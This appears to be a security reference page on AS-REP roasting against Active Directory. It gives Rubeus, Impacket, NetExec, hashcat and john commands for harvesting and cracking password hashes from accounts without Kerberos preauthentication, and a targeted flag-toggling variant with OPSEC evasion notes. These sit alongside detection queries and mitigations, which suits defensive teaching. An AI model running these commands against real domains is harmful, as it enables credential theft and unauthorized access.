How it works
In Kerberos authentication, a client asks the authentication service for a ticket-granting ticket with an AS-REQ. Normally the request must carry preauthentication: a timestamp encrypted with the key derived from the user's password. The KDC decrypts it and only then answers, which proves that the requester knows the password.
An account with the DONT_REQ_PREAUTH flag (0x400000, decimal 4194304, in userAccountControl) skips that check. The KDC answers an AS-REQ for the account from anyone. The AS-REP has two parts: the TGT, encrypted with the krbtgt key, and a client part that holds the session key, encrypted with the key derived from the account's password. The attacker cannot use the TGT without the session key, but the client part is enough to test password guesses offline. Each guess is turned into a key and tried against the ciphertext; a correct guess decrypts it. That is AS-REP roasting.
The requester chooses which encryption types to offer, and the KDC picks one the account has a key for:
| Encryption type | Hash prefix | Hashcat mode |
|---|---|---|
RC4-HMAC (0x17) |
$krb5asrep$23$ |
18200 |
AES128 (0x11) |
$krb5asrep$17$ |
32100 |
AES256 (0x12) |
$krb5asrep$18$ |
32200 |
RC4 uses the NT hash as the key with no salt or iteration and is the fastest to attack, so tools ask for it by default. The AES types add a salted, iterated key derivation and are much slower to crack, but a weak password still falls.
Unlike Kerberoasting, the attack needs no domain account. Two variants exist:
- Unauthenticated, from a list of known or guessed usernames.
- Targeted, where an attacker who can write a user's
userAccountControl(GenericAll or GenericWrite on the object) sets the flag, roasts the account and clears the flag again.
Prerequisites
- Network access to a domain controller on TCP or UDP 88.
- At least one enabled account with "Do not require Kerberos preauthentication" set. The flag is off by default; it is usually a leftover from an old application or a Unix integration.
- The account's name. Without a domain account the attacker guesses or harvests names; with one, a single LDAP query returns them all.
- A password that an offline guessing run can reach.
- For the targeted variant: write access to the target's
userAccountControl.
Attack steps
For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.
1. Find accounts without preauthentication
With a domain account, test the flag as a bit, because userAccountControl combines several flags in one value:
Get-ADUser -LDAPFilter '(&(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))' `
-Properties userAccountControl, pwdLastSet, memberOf |
Select-Object SamAccountName, pwdLastSet, memberOf
Without an account, Rubeus tests a list of names and reports which ones do not require preauthentication:
.\Rubeus.exe preauthscan /users:C:\temp\users.txt /domain:corp.example.com /dc:DC01.corp.example.com
2. Request the AS-REP
From a domain-joined Windows host, Rubeus queries LDAP for vulnerable accounts and requests a reply for each:
# All vulnerable accounts, hashcat format
.\Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt
# One account
.\Rubeus.exe asreproast /user:svc-legacy /format:hashcat /outfile:asrep.txt
From Linux, Impacket works with or without credentials:
# No credentials: try every name in a file
GetNPUsers.py corp.example.com/ -usersfile users.txt -no-pass -dc-ip 192.0.2.10 -format hashcat -outputfile asrep.txt
# With a domain account: find the vulnerable accounts over LDAP and request their replies
GetNPUsers.py corp.example.com/alice -request -dc-ip 192.0.2.10 -format hashcat -outputfile asrep.txt
NetExec does the same through its LDAP protocol:
nxc ldap 192.0.2.10 -u users.txt -p '' --asreproast asrep.txt
nxc ldap 192.0.2.10 -u alice -p 'Password' --asreproast asrep.txt
3. Crack the reply offline
hashcat -m 18200 asrep.txt wordlist.txt -r rules/best64.rule
john --format=krb5asrep --wordlist=wordlist.txt asrep.txt
Cracking speed and method are covered on the offline password cracking page.
4. Use the recovered password
The result is the account's real password. The attacker signs in as the account and uses whatever it can reach.
Targeted variant
With write access to a user object, set the flag, roast the account, and restore it:
Set-ADAccountControl -Identity 'j.doe' -DoesNotRequirePreAuth $true
.\Rubeus.exe asreproast /user:j.doe /format:hashcat /outfile:asrep.txt
Set-ADAccountControl -Identity 'j.doe' -DoesNotRequirePreAuth $false
Impact
The attacker gets the cleartext password of each roasted account that has a guessable password: credential theft without touching the account's host, and in the unauthenticated case without holding any account first. That makes AS-REP roasting one of the few ways to turn network access alone into a domain identity.
What follows depends on the account. Exempt accounts are often old service accounts with passwords that were never rotated and rights that were never reviewed. The password stays valid until someone changes it, and turning preauthentication back on does not help against a reply that was already collected.
OPSEC and artifacts
- One request per account. A single AS-REQ per target is enough, and it looks like the first half of a normal sign-in. What remains: one successful event 4768 on the domain controller for each reply, with the account name, the client address, pre-authentication type 0 and the ticket encryption type.
- No failure events. Accounts that skip preauthentication never produce event 4771, so failure-based rules see nothing. Guessing names without a list is different: every name that does not exist leaves a 4768 failure with code
0x6, and every name that exists but requires preauthentication gets aKDC_ERR_PREAUTH_REQUIREDanswer. - Encryption type. Asking for RC4 gives the fastest crack and stands out in a domain that uses AES. An operator who cares more about stealth than speed offers AES and accepts the slower mode.
- LDAP discovery. The authenticated variant sends an LDAP search with the
4194304bit filter. It is visible in LDAP query logging and to network sensors that parse LDAP. - Passive collection. An attacker who can capture traffic can take the AS-REP from a legitimate sign-in of an exempt account without sending anything. The domain controller cannot tell.
- Targeted variant. Setting and clearing the flag writes event 4738 twice on the domain controller, with "Don't Require Preauth" enabled and then disabled.
- Cracking happens on the attacker's hardware and leaves no trace in the domain.
Detection
- TGT issued without preauthentication. A successful event 4768 with
PreAuthType0 is the direct signal. The AS-REP roasting detection rules implement it.
WindowsEvent
| where Provider == "Microsoft-Windows-Security-Auditing" and EventID == 4768
| extend PreAuth = tostring(EventData.PreAuthType), Result = tostring(EventData.Status)
| where PreAuth == "0" and Result in~ ("0x0", "0")
| project TimeGenerated, Computer, Account = tostring(EventData.TargetUserName),
Source = tostring(EventData.IpAddress),
TicketEtype = tostring(EventData.TicketEncryptionType)
- Known exempt accounts. If an application really needs the exemption, its sign-ins come from a known address. Alert on any other source, and on one source requesting replies for several exempt accounts.
- The flag being set. Event 4738 records a change to "Don't Require Preauth". A change that is reversed minutes later is the targeted variant.
- Username guessing before the roast. Bursts of 4768 failures with code
0x6from one address. See the Kerberos account enumeration rules. - Decoy account. An exempt account with a long random password that nothing uses. Any 4768 for it is an alert.
Event 4771 is not a signal here: it records failed preauthentication, which exempt accounts never perform. The absence of 4771 says nothing about whether a reply was issued.
Mitigation
- Clear the flag. Find every account with
DONT_REQ_PREAUTHusing the query in step 1 and turn preauthentication back on. Change only that bit and confirm with the application owner that sign-in still works:
Set-ADAccountControl -Identity 'svc-legacy' -DoesNotRequirePreAuth $false
- Change the password of every account that was exposed. A reply collected earlier can still be cracked after the flag is cleared.
- Where an exemption must stay, give the account a long random password, remove every privilege it does not need, and record an owner and a review date. Move services to group managed service accounts where the workload supports it; see the gMSA guide.
- Restrict who can write
userAccountControl. Review GenericAll, GenericWrite and WriteProperty on user objects; these rights enable the targeted variant. - Retire RC4. Enforcing AES makes cracking slower. It does not fix the missing proof of identity. See the RC4 to AES migration guide and how to secure the Kerberos authentication protocol.
- Audit. Enable Audit Kerberos Authentication Service (success and failure) and Audit User Account Management on domain controllers so that events 4768 and 4738 are recorded.
Detection rules for this attack
Log events to collect
FAQ
What is the difference between AS-REP roasting and Kerberoasting?
Kerberoasting cracks service tickets and needs a domain account to request them, but works against any user account that has an SPN. AS-REP roasting cracks the reply to the first Kerberos request, needs no account at all, and only works against accounts that have the 'Do not require Kerberos preauthentication' flag set.
Does AS-REP roasting need domain credentials?
No. The KDC answers an AS-REQ for a vulnerable account without any proof of identity, so an attacker only needs network access to a domain controller and the account name. Credentials help in one way: an LDAP query lists every account that has the flag, so the attacker doesn't have to guess names.
How do you detect AS-REP roasting?
On domain controllers, look for successful event 4768 with pre-authentication type 0. In a domain where no account is exempt, any such event is suspicious. Also alert on event 4738 when the 'Don't Require Preauth' flag is enabled on an account, because an attacker with write access can set it to make an account roastable.
References
- Steal or Forge Kerberos Tickets: AS-REP Roasting, T1558.004 (MITRE ATT&CK)
- RFC 4120: The Kerberos Network Authentication Service (V5)
- 4768(S, F): A Kerberos authentication ticket (TGT) was requested (Microsoft Learn)
- UserAccountControl property flags (Microsoft Learn)
- Rubeus: asreproast (GhostPack)
- Hashcat example hashes
Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.